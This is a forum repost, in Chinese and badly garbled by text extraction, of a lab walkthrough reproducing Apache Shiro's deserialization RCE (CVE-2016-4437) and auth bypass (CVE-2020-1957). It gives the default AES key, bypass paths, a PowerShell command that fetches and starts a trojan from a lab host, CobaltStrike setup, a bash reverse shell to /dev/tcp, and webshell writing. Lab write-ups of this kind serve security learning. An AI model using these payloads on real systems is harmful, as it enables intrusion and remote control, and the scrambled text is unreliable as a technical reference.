搜索

[16907] 2021-06-14_框架安全之Shiro渗透复现

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-06-14_框架安全之Shiro渗透复现 框 架 安 全 之 S h i r o 渗 透 复 现 原 创   K r 1 p t 0   F r e e B u f   2 0 2 1 - 0 6 - 1 4 本 篇 文 章 是 S h i r o 框 架 复 现 记 录 ， 记 录 了 实 际 中 常 见 的 S h i r o 框 架 漏 洞 并 如 何 利 用 ， 对 漏 洞 底 层 的 原 理 简 单 分 析 ， 主 要 分 为 五 个 部 分 ： S h i r o 简 单 介 绍 、 相 关 环 境 搭 建 、 漏 洞 复 现 、 工 具 介 绍 和 自 建 内 网 环 境 实 战 。 本 篇 文 章 由 浅 入 深 地 复 现 了 两 个 经 典 漏 洞 及 介 绍 五 个 S h i r o 渗 透 工 具 ， 相 关 参 考 文 章 也 在 文 中 有 列 出 。 此 外 ， 文 中 也 可 能 会 出 现 部 分 错 误 ， 望 读 者 指 出 ， 谢 谢 。 接 着 ， 开 始 我 们 的 S h i r o 渗 透 之 路 学 习 ！ 一 、 一 、 S h i r o 简 介 简 介 1 、 、 S h i r o 介 绍 介 绍 是 一 个 强 大 且 易 用 的 安 全 框 架 ， 用 于 身 份 验 证 、 授 权 、 密 码 和 会 话 管 理 ， 具 有 以 下 特 点 ： 易 于 使 用 易 于 使 用 — — 易 用 性 是 项 目 的 最 终 目 标 。 应 用 程 序 安 全 非 常 令 人 困 惑 和 沮 丧 , 被 认 为 是 “ 不 可 避 免 的 灾 难 ” 。 如 果 你 让 它 简 化 到 新 手 都 可 以 使 用 它 , 它 就 将 不 再 是 一 种 痛 苦 了 。 全 面 全 面 — — 没 有 其 他 安 全 框 架 的 宽 度 范 围 可 以 同 A p a c h e   S h i r o 一 样 , 它 可 以 成 为 你 的 “ 一 站 式 ” 为 您 的 安 全 需 求 提 供 保 障 。 灵 活 灵 活 — — A p a c h e   S h i r o 可 以 在 任 何 应 用 程 序 环 境 中 工 作 。 虽 然 在 网 络 工 作 、 E J B 和 I o C 环 境 中 可 能 并 不 需 要 它 。 但 S h i r o 的 授 权 也 没 有 任 何 规 范 , 甚 至 没 有 许 多 依 赖 关 系 。 W e b 支 持 支 持 — — A p a c h e   S h i r o 拥 有 令 人 兴 奋 的 w e b 应 用 程 序 支 持 , 允 许 您 基 于 应 用 程 序 的 u r l 创 建 灵 活 的 安 全 策 略 和 网 络 协 议 ( 例 如 R E S T ) , 同 时 还 提 供 一 组 J S P 库 控 制 页 面 输 出 。 低 耦 合 低 耦 合 — — S h i r o 干 净 的 A P I 和 设 计 模 式 使 它 容 易 与 许 多 其 他 框 架 和 应 用 程 序 集 成 。 你 会 看 到 S h i r o 无 缝 地 集 成 S p r i n g 这 样 的 框 架 ,   以 及 G r a i l s ,   W i c k e t ,   T a p e s t r y ,   M u l e ,   A p a c h e   C a m e l ,   V a a d i n … 等 。 被 广 泛 支 持 被 广 泛 支 持 — — A p a c h e   S h i r o 是 A p a c h e 软 件 基 金 会 的 一 部 分 。 项 目 开 发 和 用 户 组 都 有 友 好 的 网 民 愿 意 帮 助 。 这 样 的 商 业 公 司 如 果 需 要 K a t a s o f t 还 提 供 专 业 的 支 持 和 服 务 。 2 、 、 S h i r o 漏 洞 原 理 漏 洞 原 理 在 框 架 下 ， 用 户 登 陆 成 功 后 会 生 成 一 个 经 过 加 密 的 。 其 的 的 值 为 ， 的 值 是 经 过 序 列 化 、 加 密 和 编 码 后 得 到 的 结 果 。 服 务 端 在 接 收 到 一 个 C o o k i e 时 ， 会 按 照 如 下 步 骤 进 行 解 析 处 理 ： 检 索 的 值 进 行 解 码 进 行 解 码 进 行 反 序 列 化 操 作 在 第 4 步 中 的 调 用 反 序 列 化 时 未 进 行 任 何 过 滤 ， 进 而 可 以 导 致 触 发 远 程 代 码 执 行 漏 洞 。 由 于 使 用 了 加 密 ， 成 功 利 用 该 漏 洞 需 要 获 取 的 加 密 密 钥 ， 在 版 本 之 前 的 加 密 密 钥 为 硬 编 码 ， 其 默 认 密 钥 的 编 码 后 的 值 为 ， 于 是 就 可 得 到 的 构 造 流 程 ： 目 前 官 方 通 过 去 掉 硬 编 码 的 密 钥 每 次 生 成 一 个 密 钥 来 解 决 其 漏 洞 ， 但 可 以 通 过 搜 索 引 擎 等 方 式 收 集 到 不 同 的 密 钥 ， 提 高 对 该 漏 洞 的 利 用 成 功 率 。 3 、 、 S h i r o 漏 洞 指 纹 漏 洞 指 纹 二 、 环 境 搭 建 二 、 环 境 搭 建 1 、 、 J a v a 1 . 8 安 装 安 装 下 载 地 址 ： 默 认 下 一 步 安 装 即 可 2 、 、 T o m c a t 8 . x 安 装 安 装 下 载 地 址 ： 默 认 下 一 步 安 装 即 可 3 、 部 署 、 部 署 S h i r o   w a r 包 包 将 包 放 置 目 录 下 开 启 A p a c h e   S h i r o J a v a S h i r o C o o k i e C o o k i e K e y R e m e m b e r M e V a l u e A E S B a s e 6 4 R e m e m b e r M e   C o o k i e B a s e 6 4 A E S A E S A E S S h i r o 1 . 2 . 4 A E S B a s e 6 4 k P H + b I x k 5 D 2 d e Z i I x c a a a A = = P a y l o a d 恶 意 命 令 - - > 序 列 化 - - > A E S 加 密 - - > b a s e 6 4 编 码 - - > 发 送 C o o k i e 响 应 包 中 存 在 字 段 s e t - C o o k i e :   r e m e m b e r M e = d e l e t e M e [ h t t p s : / / w w w . j a v a . c o m / z h - C N / d o w n l o a d / ] ( h t t p s : / / w w w . j a v a . c o m / z h - C N / d o w n l o a d / ) [ h t t p s : / / t o m c a t . a p a c h e . o r g / d o w n l o a d - 8 0 . c g i ] ( h t t p s : / / t o m c a t . a p a c h e . o r g / d o w n l o a d - 8 0 . c g i ) w h i r o . w a r C : T o m c a t   8 . 5 w e b a p p s T o m c a t
访 问 网 址 ： ， 该 是 环 境 自 身 地 址 4 、 漏 洞 环 境 搭 建 、 漏 洞 环 境 搭 建 这 里 使 用 靶 场 进 行 S p r i n g 渗 透 学 习 0 x 0 1   D o c k e r 环 境 安 装 环 境 安 装 参 考 ： v u l h u b 漏 洞 环 境 搭 建 1 、 安 装 、 安 装 D o c k e r 2 、 安 装 、 安 装 p y t h o n 和 和 p i p 1 9 2 . 1 6 8 . 1 1 2 . 1 5 1 : 8 0 8 0 i p i p v u l h u b s u d o   a p t   i n s t a l l   c u r l c u r l   - s   h t t p s : / / g e t . d o c k e r . c o m /   |   s h s u d o   a p t   i n s t a l l   p y t h o n c u r l   h t t p s : / / b o o t s t r a p . p y p a . i o / p i p / 2 . 7 / g e t - p i p . p y   - - o u t p u t   g e t - p i p . p y s u d o   p y t h o n   g e t - p i p . p y
3 、 安 装 、 安 装 0 x 0 2   v u l h u b 靶 场 安 装 靶 场 安 装 本 机 I P 为 1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 参 考 ： D o c k e r 容 器 进 入 的 4 种 方 式 三 、 漏 洞 复 现 三 、 漏 洞 复 现 d o c k e r - c o m p o s e p i p   i n s t a l l   d o c k e r - c o m p o s e s u d o   a p t   i n s t a l l   d o c k e r - c o m p o s e d o c k e r - c o m p o s e   - v g i t   c l o n e   h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b . g i t c d   v u l h u b / h t t p d / C V E - 2 0 1 7 - 1 5 7 1 5 / s u d o   d o c k e r - c o m p o s e   b u i l d               #   构 建 s u d o   d o c k e r - c o m p o s e   u p   - d               #   命 令 启 动 容 器 d o c k e r   p s                                               #   查 看 正 在 运 行 的 容 器 s u d o   d o c k e r   e x e c   - i t   b 5 9 7 5 a 1 a 5 b f e   / b i n / b a s h     #   进 入 d o c k e r 容 器 内
以 复 现 操 作 为 主 ， 底 层 原 理 解 析 见 之 后 的 文 章 1 、 、 A p a c h e   S h i r o 反 序 列 化 漏 洞 （ 反 序 列 化 漏 洞 （ C V E - 2 0 1 6 - 4 4 3 7 ） ） A E S 密 钥 猜 解 R C E 0 x 0 1   漏 洞 概 述 漏 洞 概 述 在 框 架 下 ， 用 户 登 陆 成 功 后 会 生 成 一 个 经 过 加 密 的 。 其 的 的 值 为 ， 的 值 是 经 过 序 列 化 、 加 密 和 编 码 后 得 到 的 结 果 。 的 加 密 密 钥 为 硬 编 码 ， 导 致 攻 击 者 可 以 构 造 恶 意 数 据 造 成 反 序 列 化 漏 洞 影 响 版 本 ： 影 响 版 本 ： 0 x 0 2   漏 洞 指 纹 漏 洞 指 纹 响 应 包 中 存 在 字 段 0 x 0 3   漏 洞 利 用 漏 洞 利 用 1 ） 使 用 工 具 进 行 密 钥 猜 解 2 ） 使 用 工 具 命 令 执 行 0 x 0 4   自 动 化 工 具 及 上 线 自 动 化 工 具 及 上 线 C S 这 里 介 绍 一 款 反 序 列 化 远 程 命 令 执 行 利 用 脚 本 ， 传 送 门 利 用 条 件 ： 利 用 条 件 ： 使 用 延 时 判 断 和 ， 即 使 目 标 不 出 网 目 标 不 出 网 也 可 以 检 测 是 否 存 在 漏 洞 。 脚 本 需 要 调 用 ， 这 里 的 文 件 并 不 是 原 版 的 ， 增 加 了 延 时 命 令 功 能 ， 故 不 要 使 用 原 版 ， 否 则 将 无 法 检 测 。 该 工 具 具 有 4 个 特 性 ： 1 .   K e y 可 修 改 添 加 2 .   具 有 延 时 功 能 3 .   执 行 的 命 令 使 用 了 编 码 4 .   区 分 和 使 用 方 法 ： 使 用 方 法 ： S h i r o C o o k i e C o o k i e K e y R e m e m b e r M e V a l u e A E S B a s e 6 4 A E S R C E S h i r o   <   1 . 2 . 5 s e t - C o o k i e :   r e m e m b e r M e = d e l e t e M e A E S s h i r o - 1 . 2 . 4 - r c e s h i r o   < =   1 . 2 . 4 k e y g a d g e t P y t h o n y s o s e r i a l - s l e e p . j a r y s o s e r i a l - s l e e p . j a r y s o s e r i a l B a s e 6 4 L i n u x W i n d o w s
输 入 这 里 的 是 刚 刚 在 上 搭 建 的 环 境 的 执 行 ， 远 程 打 开 目 标 主 机 上 的 计 算 器 程 序 注 意 点 ： 这 里 命 令 是 自 动 编 制 执 行 的 ， 仍 可 执 行 ， 但 是 无 回 显 无 回 显 。 上 线 上 线 C S ： ： 由 于 上 述 自 动 化 工 具 没 有 回 显 ， 这 里 尝 试 上 线 到 C S 后 进 一 步 渗 透 1 ） 开 启 2 ） 生 成 木 马 文 件 开 启 p y t h o n 简 易 h t t p 服 务 ， 但 是 我 这 w i n 7 没 安 装 p y t h o n ， 就 将 该 木 马 文 件 放 到 k a l i 上 ， 在 开 启 简 易 h t t p 用 于 传 输 3 ） K a l i 上 开 启 p y t h o n 简 易 H T T P 服 务 4 ） 结 合 之 前 得 到 的 s h e l l 上 线 C S p y t h o n 3   s h i r o - 1 . 2 . 4 _ r c e . p y   [ h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 5 1 : 8 0 8 0 / s h i r o / ] ( h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 5 1 : 8 0 8 0 / s h i r o / ) I P W i n 7 I P c a l c t e a m s e r v e r t e a m s e r v e r   1 9 2 . 1 6 8 . 1 1 2 . 1 4 5   1 1 1 1 p y t h o n   - m   S i m p l e H T T P S e r v e r   8 0 0 8 p o w e r s h e l l   ( n e w - o b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 9 : 8 0 0 8 / S h i r o 1 . e x e ' , ' S h i r o 1 . e x e ' ) ; s t a r t - p r o c e s s   S h i r o 1 . e x e
2 、 、   A p a c h e   S h i r o 权 限 绕 过 漏 洞 （ 权 限 绕 过 漏 洞 （ C V E - 2 0 2 0 - 1 9 5 7 ） ） 越 权 访 问 参 考 ： S h i r o   权 限 绕 过 漏 洞 分 析 （ C V E - 2 0 2 0 - 1 9 5 7 ）   -   斗 象 能 力 中 心   ( r i s k i v y . c o m ) 0 x 0 1   漏 洞 概 述 漏 洞 概 述 框 架 使 用 拦 截 器 对 用 户 访 问 权 限 进 行 控 制 ， 常 见 的 有 如 等 拦 截 器 。 拦 截 器 为 匿 名 拦 截 器 ， 无 需 登 陆 即 可 进 行 访 问 ， 一 般 用 于 静 态 资 源 。 为 登 陆 拦 截 器 ， 需 要 登 陆 才 可 以 访 问 。 用 户 可 以 在 编 写 匹 配 U R L 配 置 ， 将 会 拦 截 匹 配 的 U R L ， 并 执 行 响 应 的 拦 截 器 。 从 而 实 现 对 U R L 的 访 问 控 制 ， U R L 路 径 表 达 式 通 常 为 A N T 格 式 。 即 访 问 时 无 需 登 陆 ， 而 访 问 时 需 要 登 陆 认 证 。 这 里 的 可 以 匹 配 路 径 ， 即 可 以 匹 配 到 ， 而 只 能 匹 配 到 单 个 或 多 个 字 符 串 ， 即 。 那 么 假 设 配 置 内 改 为 ： ， 则 可 以 匹 配 到 但 无 法 匹 配 到 （ 多 了 个 斜 杆 ） ， 那 么 就 会 放 行 。 然 后 进 入 到 拦 截 器 中 ， 对 于 S p r i n g ， 上 述 两 个 路 径 都 是 一 致 的 ， 于 是 就 造 成 了 权 限 绕 过 。 影 响 版 本 ： 影 响 版 本 ： 0 x 0 2   漏 洞 环 境 漏 洞 环 境 这 里 简 单 搭 建 环 境 测 试 下 1 ） 拉 取 镜 像 2 ） 查 看 并 开 启 d o c k e r 3 ） 访 问 靶 机 ， 开 启 成 功 0 x 0 3   漏 洞 利 用 漏 洞 利 用 1 ） 访 问 ， 返 回 重 定 向 信 息 S h i r o a n o n 、 a u t h c a n o n a u t h c S h i r o . i n i / i n d e x / u s e r / t e s t # S h i r o . i n i / i n d e x   =   a n o n / u s e r / * *   =   a u t h c - - - - - - A n t 格 式 : ? ： 匹 配 一 个 字 符 * ： 匹 配 零 个 或 多 个 字 符 串 * * ： 匹 配 路 径 中 的 零 个 或 多 个 路 径 / * * / u s e r / t e s t / / * / u s e r / t e s t / u s e r / *   =   a u t h c / u s e r / t e s t / u s e r / t e s t / / u s e r / t e s t / S p r i n g ( S e r v l e t ) S h i r o   <   1 . 5 . 3 d o c k e r   p u l l   v u l f o c u s / s h i r o - c v e _ 2 0 2 0 _ 1 9 5 7 d o c k e r   i m a g e s d o c k e r   r u n   - d   - p   8 0 8 0 : 8 0 8 0   - v   / v a r / r u n / d o c k e r . s o c k : / v a r / r u n / d o c k e r . s o c k   - e   V U L _ I P = 1 9 2 . 1 6 8 . 1 1 2 . 1 4 1   2 9 1 3 6 b 1 d 3 c 6 1 d o c k e r   p s / h e l l o / 1 3 0 2 / h e l l o / 1
2 ） 访 问 ， 成 功 绕 过 拦 截 器 除 此 之 外 ， 还 可 以 使 用 下 面 的 0 x 0 4   类 似 漏 洞 类 似 漏 洞 类 似 的 漏 洞 还 有 。 四 、 四 、 S h i r o 渗 透 工 具 介 绍 渗 透 工 具 介 绍 测 试 靶 机 地 址 信 息 ： W i n 7 搭 建 ： 1 9 2 . 1 6 8 . 1 1 2 . 1 5 1 h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 5 1 : 8 0 8 0 / s h i r o / L i n u x   V u l h u b 靶 机 ： 1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 : 8 0 8 0 1 、 、 s h i r o 反 序 列 化 漏 洞 综 合 利 用 工 具 反 序 列 化 漏 洞 综 合 利 用 工 具 v 1 . 5 猜 解 K e y 和 命 令 执 行 ， 对 L i n u x 较 友 好 工 具 截 图 ： 工 具 截 图 ： / h e l l o / 1 / h e l l o / 1 / a u t h c / h e l l o / 1 / p a y l o a d / a b c d ; / . . / h e l l o / 1 C V E - 2 0 2 0 - 1 1 9 8 9 、 C V E - 2 0 2 0 - 1 3 9 3 3
工 具 使 用 ： 工 具 使 用 ： 该 工 具 主 要 给 用 于 测 试 ， 上 手 简 单 ， 将 目 标 地 址 填 入 对 应 栏 即 可 经 测 试 W i n d o w s 环 境 下 有 点 小 问 题 ， 能 猜 解 K e y 但 是 无 法 命 令 注 入 在 L i n u x 下 使 用 体 验 较 好 2 、 、 S h i r o 反 序 列 化 回 显 工 具 反 序 列 化 回 显 工 具 v 2 . 3 猜 解 K e y ， 效 果 一 般 工 具 截 图 ： 工 具 截 图 ： 该 工 具 可 自 行 添 加 K e y
工 具 使 用 ： 工 具 使 用 ： 上 手 也 是 挺 简 单 的 ， 将 k e y 文 件 导 入 至 K e y 框 中 ， 选 择 默 认 D N S L O G 即 可 ， 开 始 检 测 。 不 过 体 验 时 经 常 会 找 不 到 k e y 3 、 、 S h i r o 命 令 执 行 工 具 命 令 执 行 工 具 - 雷 石 安 全 实 验 室 雷 石 安 全 实 验 室 猜 解 K e y ， 内 置 1 1 7 个 K e y 工 具 截 图 ： 工 具 截 图 ： 工 具 使 用 ： 工 具 使 用 ： 填 入 ， 点 击 D N S L O G 检 测 4 、 、 S h i r o 5 5 0 / 7 2 1 漏 洞 检 测 漏 洞 检 测 v 2 . 5 1 用 于 外 网 的 K e y 猜 解 及 g e t s h e l l ， 对 L i n u x 较 友 好 工 具 地 址 ： 工 具 地 址 ： h t t p s : / / g i t h u b . c o m / f e i h o n g - c s / S h i r o E x p l o i t - D e p r e c a t e d 工 具 截 图 ： 工 具 截 图 ： u r l
工 具 使 用 ： 工 具 使 用 ： 添 加 目 标 地 址 ， 点 击 下 一 步 ， 选 择 进 行 漏 洞 检 测 ， 点 击 下 一 步 进 行 猜 解 。 获 取 到 K e y 值 后 ， 该 工 具 提 供 了 三 种 方 式 进 行 下 一 步 的 渗 透 ， 具 体 如 下 ： 这 里 选 择 反 弹 ， 下 面 结 合 获 取 到 ， 端 开 启 监 听 ， 在 命 令 行 中 写 入 的 地 址 及 端 口 号 。 [ h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 5 1 : 8 0 8 0 / s h i r o / ] ( h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 5 1 : 8 0 8 0 / s h i r o / ) d n s l o g . c n 反 弹 S h e l l ( L i n u x ) : 采 用   b a s h   - i   > &   / d e v / t c p / 1 . 2 . 3 . 4 / 4 4 3   0 > & 1   命 令 获 取 s h e l l 反 弹 S h e l l ( W i n d o w s ) : 采 用   b i t s a d m i n 下 载 指 定 U R L 的 e x e 可 执 行 文 件 执 行 功 能 获 取 s h e l l 获 取 W e b s h e l l   在 给 出 的 路 径 中 写 入 w e b s h e l l ， w e b s h e l l 的 内 容 在 c o n f i g 目 录 下 的 s h e l l . j s p 中 S h e l l ( L i n u x ) K a l i s h e l l k a l i k a l i
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理